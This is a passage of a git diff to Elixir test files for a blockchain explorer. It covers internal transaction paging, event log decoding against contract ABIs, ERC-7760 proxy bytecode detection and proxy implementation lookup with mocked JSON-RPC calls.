number, so `second_pending` and `first_pending` are + # excluded. + assert [ + {sixth_transaction_hash, sixth_index}, + {fifth_transaction_hash, fifth_index}, + {fourth_transaction_hash, fourth_index}, + {third_transaction_hash, third_index}, + {second_transaction_hash, second_index}, + {first_transaction_hash, first_index} + ] == + address.hash + |> InternalTransaction.address_to_internal_transactions( + paging_options: %PagingOptions{key: {6001, 3, 2}, page_size: 8} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + # block number ==, transaction index ==, internal transaction index < + assert [ + {fourth_transaction_hash, fourth_index}, + {third_transaction_hash, third_index}, + {second_transaction_hash, second_index}, + {first_transaction_hash, first_index} + ] == + address.hash + |> InternalTransaction.address_to_internal_transactions( + paging_options: %PagingOptions{key: {6000, 0, 1}, page_size: 8} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + # block number ==, transaction index < + assert [ + {fourth_transaction_hash, fourth_index}, + {third_transaction_hash, third_index}, + {second_transaction_hash, second_index}, + {first_transaction_hash, first_index} + ] == + address.hash + |> InternalTransaction.address_to_internal_transactions( + paging_options: %PagingOptions{key: {6000, -1, -1}, page_size: 8} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + + # block number < + assert [] == + address.hash + |> InternalTransaction.address_to_internal_transactions( + paging_options: %PagingOptions{key: {2000, -1, -1}, page_size: 8} + ) + |> Enum.map(&{&1.transaction_hash, &1.index}) + end + + test "excludes internal transactions of type `call` when they are alone in the parent transaction" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + insert(:internal_transaction, + index: 0, + to_address: address, + transaction: transaction, + block_number: transaction.block_number, + block_hash: transaction.block_hash, + block_index: 0, + transaction_index: transaction.index + ) + + assert Enum.empty?(InternalTransaction.address_to_internal_transactions(address_hash)) + end + + test "includes internal transactions of type `create` even when they are alone in the parent transaction" do + %Address{hash: address_hash} = address = insert(:address) + + transaction = + :transaction + |> insert(to_address: address) + |> with_block() + + expected = + insert( + :internal_transaction_create, + index: 0, + from_address: address, + transaction: transaction, + block_hash: transaction.block_hash, + block_index: 0, + block_number: transaction.block_number, + transaction_index: transaction.index + ) + + actual = Enum.at(InternalTransaction.address_to_internal_transactions(address_hash), 0) + + assert {actual.transaction_hash, actual.index} == {expected.transaction_hash, expected.index} + end end - describe "internal_transactions_to_raw" do - test "it adds subtrace count" do - transactions = [ - call_type(trace_address: []), - call_type(trace_address: [0]), - call_type(trace_address: [1]), - call_type(trace_address: [2]), - call_type(trace_address: [0, 0]), - call_type(trace_address: [0, 1]), - call_type(trace_address: [1, 0]), - call_type(trace_address: [0, 0, 0]), - call_type(trace_address: [0, 0, 1]), - call_type(trace_address: [0, 0, 2]), - call_type(trace_address: [0, 1, 0]), - call_type(trace_address: [0, 1, 1]) - ] - - subtraces = - transactions - |> InternalTransaction.internal_transactions_to_raw() - |> Enum.map(&Map.get(&1, "subtraces")) - - assert subtraces == [3, 2, 1, 0, 3, 2, 0, 0, 0, 0, 0, 0] - end - - test "it correctly formats a call" do - from = Factory.address_hash() - to = Factory.address_hash() - gas = 50_000 - gas_used = 25_000 - input = Factory.transaction_input() - value = 50 - output = Factory.transaction_input() - - call_transaction = - call_type( - from_address_hash: from, - to_address_hash: to, - gas: Decimal.new(gas), - gas_used: Decimal.new(gas_used), - input: input, - value: %Wei{value: value}, - output: output - ) - - [call] = InternalTransaction.internal_transactions_to_raw([call_transaction]) - - assert call == %{ - "action" => %{ - "callType" => "call", - "from" => to_string(from), - "gas" => integer_to_quantity(gas), - "input" => to_string(input), - "to" => to_string(to), - "value" => integer_to_quantity(value) - }, - "result" => %{ - "gasUsed" => integer_to_quantity(gas_used), - "output" => to_string(output) - }, - "subtraces" => 0, - "traceAddress" => [], - "type" => "call" - } - end - - test "it correctly formats a create" do - {:ok, contract_code} = Data.cast(Factory.contract_code_info().bytecode) - contract_address = Factory.address_hash() - from = Factory.address_hash() - gas = 50_000 - gas_used = 25_000 - init = Factory.transaction_input() - value = 50 - - create_transaction = - create_type( - from_address_hash: from, - created_contract_code: contract_code, - created_contract_address_hash: contract_address, - gas: Decimal.new(gas), - gas_used: Decimal.new(gas_used), - init: init, - value: %Wei{value: value} - ) - - [create] = InternalTransaction.internal_transactions_to_raw([create_transaction]) - - assert create == %{ - "action" => %{ - "from" => to_string(from), - "gas" => integer_to_quantity(gas), - "init" => to_string(init), - "value" => integer_to_quantity(value) - }, - "result" => %{ - "address" => to_string(contract_address), - "code" => to_string(contract_code), - "gasUsed" => integer_to_quantity(gas_used) - }, - "subtraces" => 0, - "traceAddress" => [], - "type" => "create" - } - end - - test "it correctly formats a selfdestruct" do - from_address = Factory.address_hash() - to_address = Factory.address_hash() - - value = 50 - - selfdestruct_transaction = - selfdestruct_type( - to_address_hash: to_address, - from_address_hash: from_address, - value: %Wei{value: value} - ) - - [selfdestruct] = InternalTransaction.internal_transactions_to_raw([selfdestruct_transaction]) - - assert selfdestruct == %{ - "action" => %{ - "address" => to_string(from_address), - "balance" => integer_to_quantity(value), - "refundAddress" => to_string(to_address) - }, - "subtraces" => 0, - "traceAddress" => [], - "type" => "suicide" - } + describe "fetch/1" do + test "with consensus transactions only" do + block_non_consensus = insert(:block, number: 2000, consensus: false) + block_consensus = insert(:block, number: 3000) + + transaction_1 = + :transaction + |> insert( + block_hash: block_non_consensus.hash, + block_number: block_non_consensus.number, + block_consensus: false, + cumulative_gas_used: 100_500, + gas_used: 100_500, + index: 1 + ) + + transaction_2 = + :transaction + |> insert() + |> with_block(block_consensus) + + %InternalTransaction{transaction_hash: first_transaction_hash, index: first_index} = + insert(:internal_transaction, + index: 1, + transaction: transaction_1, + block_number: transaction_1.block_number, + block_hash: transaction_1.block_hash, + block_index: 1, + transaction_index: transaction_1.index + ) + + %InternalTransaction{transaction_hash: second_transaction_hash, index: second_index} = + insert(:internal_transaction, + index: 2, + transaction: transaction_2, + block_number: transaction_2.block_number, + block_hash: transaction_2.block_hash, + block_index: 2, + transaction_index: transaction_2.index + ) + + result = + [] + |> InternalTransaction.fetch() + |> Enum.map(&{&1.transaction_hash, &1.index}) + + refute Enum.member?(result, {first_transaction_hash, first_index}) + assert Enum.member?(result, {second_transaction_hash, second_index}) end + + # todo: This test is temporarily disabled because this check is removed for the sake of performance: + # |> where([internal_transaction, transaction], transaction.block_hash == internal_transaction.block_hash) + # Return the test back when reorg data will be moved out from the main tables. + # test "with consensus transactions and blocks only" do + # BackgroundMigrations.set_transactions_denormalization_finished(true) + # block_non_consensus = insert(:block, number: 2000, consensus: false) + # block_consensus = insert(:block, number: 3000) + + # transaction = + # :transaction + # |> insert() + # |> with_block(block_consensus) + + # insert(:internal_transaction, + # index: 1, + # transaction: transaction, + # block_number: transaction.block_number, + # block_hash: block_non_consensus.hash, + # block_index: 1, + # transaction_index: transaction.index + # ) + + # consensus_it = + # insert(:internal_transaction, + # index: 2, + # transaction: transaction, + # block_number: transaction.block_number, + # block_hash: block_consensus.hash, + # block_index: 2, + # transaction_index: transaction.index + # ) + + # assert [{consensus_it.transaction_hash, consensus_it.index, consensus_it.block_hash}] == + # [] + # |> InternalTransaction.fetch() + # |> Enum.map(&{&1.transaction_hash, &1.index, &1.block_hash}) + # end end end diff --git a/apps/explorer/test/explorer/chain/log_test.exs b/apps/explorer/test/explorer/chain/log_test.exs index c642a83d66f1..e3835bf057a2 100644 --- a/apps/explorer/test/explorer/chain/log_test.exs +++ b/apps/explorer/test/explorer/chain/log_test.exs @@ -5,10 +5,21 @@ defmodule Explorer.Chain.LogTest do alias Ecto.Changeset alias Explorer.Chain.{Log, SmartContract} - alias Explorer.Repo + alias Explorer.TestHelper + + @first_topic_hex_string_1 "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65" + + defp topic(topic_hex_string) do + {:ok, topic} = Explorer.Chain.Hash.Full.cast(topic_hex_string) + topic + end + + setup :set_mox_from_context doctest Log + setup :verify_on_exit! + describe "changeset/2" do test "accepts valid attributes" do params = @@ -32,18 +43,21 @@ defmodule Explorer.Chain.LogTest do params_for( :log, address_hash: build(:address).hash, - first_topic: "ham", + first_topic: @first_topic_hex_string_1, transaction_hash: build(:transaction).hash, block_hash: build(:block).hash ) - assert %Changeset{changes: %{first_topic: "ham"}, valid?: true} = Log.changeset(%Log{}, params) + result = Log.changeset(%Log{}, params) + + assert result.valid? == true + assert result.changes.first_topic == topic(@first_topic_hex_string_1) end test "assigns optional attributes" do - params = Map.put(params_for(:log), :first_topic, "ham") + params = Map.put(params_for(:log), :first_topic, topic(@first_topic_hex_string_1)) changeset = Log.changeset(%Log{}, params) - assert changeset.changes.first_topic === "ham" + assert changeset.changes.first_topic === topic(@first_topic_hex_string_1) end end @@ -56,25 +70,27 @@ defmodule Explorer.Chain.LogTest do log = insert(:log, transaction: transaction) - assert Log.decode(log, transaction) == {:error, :could_not_decode} + assert {{:error, :could_not_decode}, _} = Log.decode(log, transaction, [], false, false, []) end test "that a contract call transaction that has a verified contract returns the decoded input data" do to_address = insert(:address, contract_code: "0x") + abi = [ + %{ + "anonymous" => false, + "inputs" => [ + %{"indexed" => true, "name" => "_from_human", "type" => "string"}, + %{"indexed" => false, "name" => "_number", "type" => "uint256"}, + %{"indexed" => true, "name" => "_belly", "type" => "bool"} + ], + "name" => "WantsPets", + "type" => "event" + } + ] + insert(:smart_contract, - abi: [ - %{ - "anonymous" => false, - "inputs" => [ - %{"indexed" => true, "name" => "_from_human", "type" => "string"}, - %{"indexed" => false, "name" => "_number", "type" => "uint256"}, - %{"indexed" => true, "name" => "_belly", "type" => "bool"} - ], - "name" => "WantsPets", - "type" => "event" - } - ], + abi: abi, address_hash: to_address.hash, contract_code_md5: "123" ) @@ -95,44 +111,97 @@ defmodule Explorer.Chain.LogTest do insert(:log, address: to_address, transaction: transaction, - first_topic: topic1, - second_topic: topic2, - third_topic: topic3, + first_topic: topic(topic1), + second_topic: topic(topic2), + third_topic: topic(topic3), fourth_topic: nil, data: data ) - blockchain_get_code_mock() + assert {{:ok, "eb9b3c4c", "WantsPets(string indexed _from_human, uint256 _number, bool indexed _belly)", + [ + {"_from_human", "string", true, + {:dynamic, + <<56, 228, 122, 123, 113, 157, 206, 99, 102, 42, 234, 244, 52, 64, 50, 111, 85, 27, 138, 126, 225, + 152, 206, 227, 92, 181, 213, 23, 242, 210, 150, 162>>}}, + {"_number", "uint256", false, 0}, + {"_belly", "bool", true, true} + ]}, _} = Log.decode(log, transaction, [], false, false, abi) + end + + test "replace arg names with argN if it's empty string" do + to_address = insert(:address, contract_code: "0x") + + abi = [ + %{ + "anonymous" => false, + "inputs" => [ + %{"indexed" => true, "name" => "", "type" => "string"}, + %{"indexed" => false, "name" => "", "type" => "uint256"}, + %{"indexed" => true, "name" => "", "type" => "bool"} + ], + "name" => "WantsPets", + "type" => "event" + } + ] + + insert(:smart_contract, + abi: abi, + address_hash: to_address.hash, + contract_code_md5: "123" + ) + + topic1_bytes = ExKeccak.hash_256("WantsPets(string,uint256,bool)") + topic1 = "0x" <> Base.encode16(topic1_bytes, case: :lower) + topic2_bytes = ExKeccak.hash_256("bob") + topic2 = "0x" <> Base.encode16(topic2_bytes, case: :lower) + topic3 = "0x0000000000000000000000000000000000000000000000000000000000000001" + data = "0x0000000000000000000000000000000000000000000000000000000000000000" + + transaction = + :transaction_to_verified_contract + |> insert(to_address: to_address) + |> Repo.preload(to_address: :smart_contract) - get_eip1967_implementation() + log = + insert(:log, + address: to_address, + transaction: transaction, + first_topic: topic(topic1), + second_topic: topic(topic2), + third_topic: topic(topic3), + fourth_topic: nil, + data: data + ) - assert Log.decode(log, transaction) == - {:ok, "eb9b3c4c", "WantsPets(string indexed _from_human, uint256 _number, bool indexed _belly)", - [ - {"_from_human", "string", true, - {:dynamic, - <<56, 228, 122, 123, 113, 157, 206, 99, 102, 42, 234, 244, 52, 64, 50, 111, 85, 27, 138, 126, 225, - 152, 206, 227, 92, 181, 213, 23, 242, 210, 150, 162>>}}, - {"_number", "uint256", false, 0}, - {"_belly", "bool", true, true} - ]} + assert {{:ok, "eb9b3c4c", "WantsPets(string indexed arg0, uint256 arg1, bool indexed arg2)", + [ + {"arg0", "string", true, + {:dynamic, + <<56, 228, 122, 123, 113, 157, 206, 99, 102, 42, 234, 244, 52, 64, 50, 111, 85, 27, 138, 126, 225, + 152, 206, 227, 92, 181, 213, 23, 242, 210, 150, 162>>}}, + {"arg1", "uint256", false, 0}, + {"arg2", "bool", true, true} + ]}, _} = Log.decode(log, transaction, [], false, false, abi) end test "finds decoding candidates" do + abi = [ + %{ + "anonymous" => false, + "inputs" => [ + %{"indexed" => true, "name" => "_from_human", "type" => "string"}, + %{"indexed" => false, "name" => "_number", "type" => "uint256"}, + %{"indexed" => true, "name" => "_belly", "type" => "bool"} + ], + "name" => "WantsPets", + "type" => "event" + } + ] + params = params_for(:smart_contract, %{ - abi: [ - %{ - "anonymous" => false, - "inputs" => [ - %{"indexed" => true, "name" => "_from_human", "type" => "string"}, - %{"indexed" => false, "name" => "_number", "type" => "uint256"}, - %{"indexed" => true, "name" => "_belly", "type" => "bool"} - ], - "name" => "WantsPets", - "type" => "event" - } - ] + abi: abi }) # changeset has a callback to insert contract methods @@ -152,76 +221,22 @@ defmodule Explorer.Chain.LogTest do log = insert(:log, transaction: transaction, - first_topic: topic1, - second_topic: topic2, - third_topic: topic3, + first_topic: topic(topic1), + second_topic: topic(topic2), + third_topic: topic(topic3), fourth_topic: nil, data: data ) - assert Log.decode(log, transaction) == - {:error, :contract_not_verified, - [ - {:ok, "eb9b3c4c", "WantsPets(string indexed _from_human, uint256 _number, bool indexed _belly)", - [ - {"_from_human", "string", true, - {:dynamic, - <<56, 228, 122, 123, 113, 157, 206, 99, 102, 42, 234, 244, 52, 64, 50, 111, 85, 27, 138, 126, - 225, 152, 206, 227, 92, 181, 213, 23, 242, 210, 150, 162>>}}, - {"_number", "uint256", false, 0}, - {"_belly", "bool", true, true} - ]} - ]} + assert {{:ok, "eb9b3c4c", "WantsPets(string indexed _from_human, uint256 _number, bool indexed _belly)", + [ + {"_from_human", "string", true, + {:dynamic, + <<56, 228, 122, 123, 113, 157, 206, 99, 102, 42, 234, 244, 52, 64, 50, 111, 85, 27, 138, 126, 225, + 152, 206, 227, 92, 181, 213, 23, 242, 210, 150, 162>>}}, + {"_number", "uint256", false, 0}, + {"_belly", "bool", true, true} + ]}, _} = Log.decode(log, transaction, [], false, false, abi) end end - - defp blockchain_get_code_mock do - expect( - EthereumJSONRPC.Mox, - :json_rpc, - fn [%{id: id, method: "eth_getCode", params: [_, _]}], _options -> - {:ok, [%{id: id, jsonrpc: "2.0", result: "0x0"}]} - end - ) - end - - def get_eip1967_implementation do - EthereumJSONRPC.Mox - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - |> expect(:json_rpc, fn %{ - id: 0, - method: "eth_getStorageAt", - params: [ - _, - "0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3", - "latest" - ] - }, - _options -> - {:ok, "0x0000000000000000000000000000000000000000000000000000000000000000"} - end) - end end diff --git a/apps/explorer/test/explorer/chain/smart_contract/proxy/erc_7760_test.exs b/apps/explorer/test/explorer/chain/smart_contract/proxy/erc_7760_test.exs new file mode 100644 index 000000000000..14f4daaae324 --- /dev/null +++ b/apps/explorer/test/explorer/chain/smart_contract/proxy/erc_7760_test.exs @@ -0,0 +1,235 @@ +defmodule Explorer.Chain.SmartContract.Proxy.ERC7760Test do + use Explorer.DataCase + + alias Explorer.Chain.SmartContract.Proxy.ERC7760 + alias Explorer.TestHelper + + @uups_basic_variant "363d3d373d3d363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6038573d6000fd5b3d6000f3" + @uups_i_variant "365814604357363d3d373d3d363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e603e573d6000fd5b3d6000f35b6020600f3d393d51543d52593df3" + @beacon_basic_variant "363d3d373d3d363d602036600436635c60da1b60e01b36527fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50545afa5036515af43d6000803e604d573d6000fd5b3d6000f3" + @beacon_i_variant "363d3d373d3d363d602036600436635c60da1b60e01b36527fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50545afa361460525736515af43d600060013e6052573d6001fd5b3d6001f3" + @transparent_basic_variant_20_left "3d3d3373" + @transparent_basic_variant_20_right "14605757363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b3d356020355560408036111560525736038060403d373d3d355af43d6000803e6052573d6000fd" + @transparent_basic_variant_14_left "3d3d336d" + @transparent_basic_variant_14_right "14605157363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e604c573d6000fd5b3d6000f35b3d3560203555604080361115604c5736038060403d373d3d355af43d6000803e604c573d6000fd" + @transparent_i_variant_20_left "3658146083573d3d3373" + @transparent_i_variant_20_right "14605D57363d3d37363D7f360894a13ba1A3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6058573d6000fd5b3d6000f35b3d35602035556040360380156058578060403d373d3d355af43d6000803e6058573d6000fd5b602060293d393d51543d52593df3" + @transparent_i_variant_14_left "365814607d573d3d336d" + @transparent_i_variant_14_right "14605757363d3D37363d7F360894A13Ba1A3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b3d35602035556040360380156052578060403d373d3d355af43d6000803e6052573d6000fd5b602060233d393d51543d52593df3" + + describe "quick_resolve_implementations/2" do + test "returns implementation address hash for valid proxy address with uups_basic_variant" do + proxy_address = insert(:address, contract_code: "0x" <> @uups_basic_variant) + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with uups_basic_variant and offset" do + proxy_address = insert(:address, contract_code: "0x" <> @uups_basic_variant <> "1234") + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_basic_variant_20" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_basic_variant_20_left <> + "1234567890123456789012345678901234567890" <> @transparent_basic_variant_20_right + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_basic_variant_20 and offset" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_basic_variant_20_left <> + "1234567890123456789012345678901234567890" <> @transparent_basic_variant_20_right <> "1234" + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_basic_variant_14" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_basic_variant_14_left <> + "12345678901234567890123456a8" <> @transparent_basic_variant_14_right + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_basic_variant_14 and offset" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_basic_variant_14_left <> + "12345678901234567890123456A8" <> @transparent_basic_variant_14_right <> "1234" + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_i_variant_20" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_i_variant_20_left <> + "1234567890123456789012345678901234567890" <> @transparent_i_variant_20_right + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_i_variant_20 and offset" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_i_variant_20_left <> + "1234567890123456789012345678901234567890" <> @transparent_i_variant_20_right <> "1234" + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_i_variant_14" do + proxy_address = + insert(:address, + contract_code: + "0x" <> @transparent_i_variant_14_left <> "1234567890123456789012341234" <> @transparent_i_variant_14_right + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with transparent_i_variant_14 and offset" do + proxy_address = + insert(:address, + contract_code: + "0x" <> + @transparent_i_variant_14_left <> + "1234567890123456789012341234" <> @transparent_i_variant_14_right <> "1234" + ) + + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with uups_i_variant" do + proxy_address = insert(:address, contract_code: "0x" <> @uups_i_variant) + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with uups_i_variant and offset" do + proxy_address = insert(:address, contract_code: "0x" <> @uups_i_variant <> "1234") + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_basic_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with beacon_basic_variant" do + proxy_address = insert(:address, contract_code: "0x" <> @beacon_basic_variant) + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_beacon_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with beacon_basic_variant and offset" do + proxy_address = insert(:address, contract_code: "0x" <> @beacon_basic_variant <> "1234") + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_beacon_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with beacon_i_variant" do + proxy_address = insert(:address, contract_code: "0x" <> @beacon_i_variant) + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_beacon_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + + test "returns implementation address hash for valid proxy address with beacon_i_variant and offset" do + proxy_address = insert(:address, contract_code: "0x" <> @beacon_i_variant <> "1234") + implementation_address = insert(:address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_erc7760_beacon_requests(false, implementation_address.hash) + + assert ERC7760.quick_resolve_implementations(proxy_address) == {:ok, [implementation_address.hash]} + end + end +end diff --git a/apps/explorer/test/explorer/chain/smart_contract/proxy/models/implementation_test.exs b/apps/explorer/test/explorer/chain/smart_contract/proxy/models/implementation_test.exs new file mode 100644 index 000000000000..818a6b5d7f1f --- /dev/null +++ b/apps/explorer/test/explorer/chain/smart_contract/proxy/models/implementation_test.exs @@ -0,0 +1,421 @@ +defmodule Explorer.Chain.SmartContract.Proxy.Models.Implementation.Test do + use Explorer.DataCase, async: false + + import Mox + + alias Explorer.Chain + alias Explorer.Chain.SmartContract + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.TestHelper + + setup :verify_on_exit! + setup :set_mox_global + + describe "fetching implementation" do + test "get_implementation/1" do + smart_contract = insert(:smart_contract) + implementation_smart_contract = insert(:smart_contract, name: "implementation") + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + refute_implementations(smart_contract.address_hash) + + # fetch nil implementation + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + assert %Implementation{address_hashes: [], names: [], proxy_type: nil} = + Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + assert_empty_implementation(smart_contract.address_hash) + + # extract proxy info from db + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + + Application.put_env(:explorer, :proxy, proxy) + + implementation_address_hash = implementation_smart_contract.address_hash + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967_oz: implementation_address_hash) + + assert %Implementation{ + address_hashes: [^implementation_address_hash], + names: ["implementation"], + proxy_type: :eip1967_oz + } = Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + + assert_exact_name_and_address( + smart_contract.address_hash, + implementation_smart_contract.address_hash, + implementation_smart_contract.name + ) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests(eip1967: :error) + + assert %Implementation{ + address_hashes: [^implementation_address_hash], + names: ["implementation"], + proxy_type: :eip1967_oz + } = Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + + assert_exact_name_and_address( + smart_contract.address_hash, + implementation_smart_contract.address_hash, + implementation_smart_contract.name + ) + + {contract_1, _} = SmartContract.address_hash_to_smart_contract_with_bytecode_twin(smart_contract.address_hash) + implementation_1 = Implementation.get_proxy_implementations(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + assert %Implementation{ + address_hashes: [^implementation_address_hash], + names: ["implementation"], + proxy_type: :eip1967_oz + } = Implementation.get_implementation(smart_contract) + + {contract_2, _} = SmartContract.address_hash_to_smart_contract_with_bytecode_twin(smart_contract.address_hash) + implementation_2 = Implementation.get_proxy_implementations(smart_contract.address_hash) + + assert implementation_1.updated_at == implementation_2.updated_at && + contract_1.updated_at == contract_2.updated_at + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, 0) + + Application.put_env(:explorer, :proxy, proxy) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + assert %Implementation{address_hashes: [], names: [], proxy_type: nil} = + Implementation.get_implementation(smart_contract) + + verify!(EthereumJSONRPC.Mox) + assert_empty_implementation(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + end + + test "get_implementation/1 for twins contract" do + # return nils for nil + assert is_nil(Implementation.get_implementation(nil)) + smart_contract = insert(:smart_contract) + twin_address = insert(:contract_address) + + EthereumJSONRPC.Mox + |> TestHelper.mock_generic_proxy_requests() + + {bytecode_twin, _} = SmartContract.address_hash_to_smart_contract_with_bytecode_twin(twin_address.hash) + implementation_smart_contract = insert(:smart_contract, name: "implementation") + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(20)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + Application.put_env(:explorer, :proxy, proxy) + + # fetch nil implementation + assert %Implementation{address_hashes: [], names: [], proxy_type: nil} = + Implementation.get_implementation(bytecode_twin) + + verify!(EthereumJSONRPC.Mox) + assert_empty_implementation(bytecode_twin.address_hash) + refute_implementations(smart_contract.address_hash) + + assert %Implementation{address_hashes: [], names: [], proxy_type: nil} = + Implementation.get_implementation(bytecode_twin) + + verify!(EthereumJSONRPC.Mox) + assert_empty_implementation(bytecode_twin.address_hash) + refute_implementations(smart_contract.address_hash) + + proxy = + :explorer + |> Application.get_env(:proxy) + |> Keyword.replace(:fallback_cached_implementation_data_ttl, :timer.seconds(0)) + |> Keyword.replace(:implementation_data_fetching_timeout, :timer.seconds(20)) + + 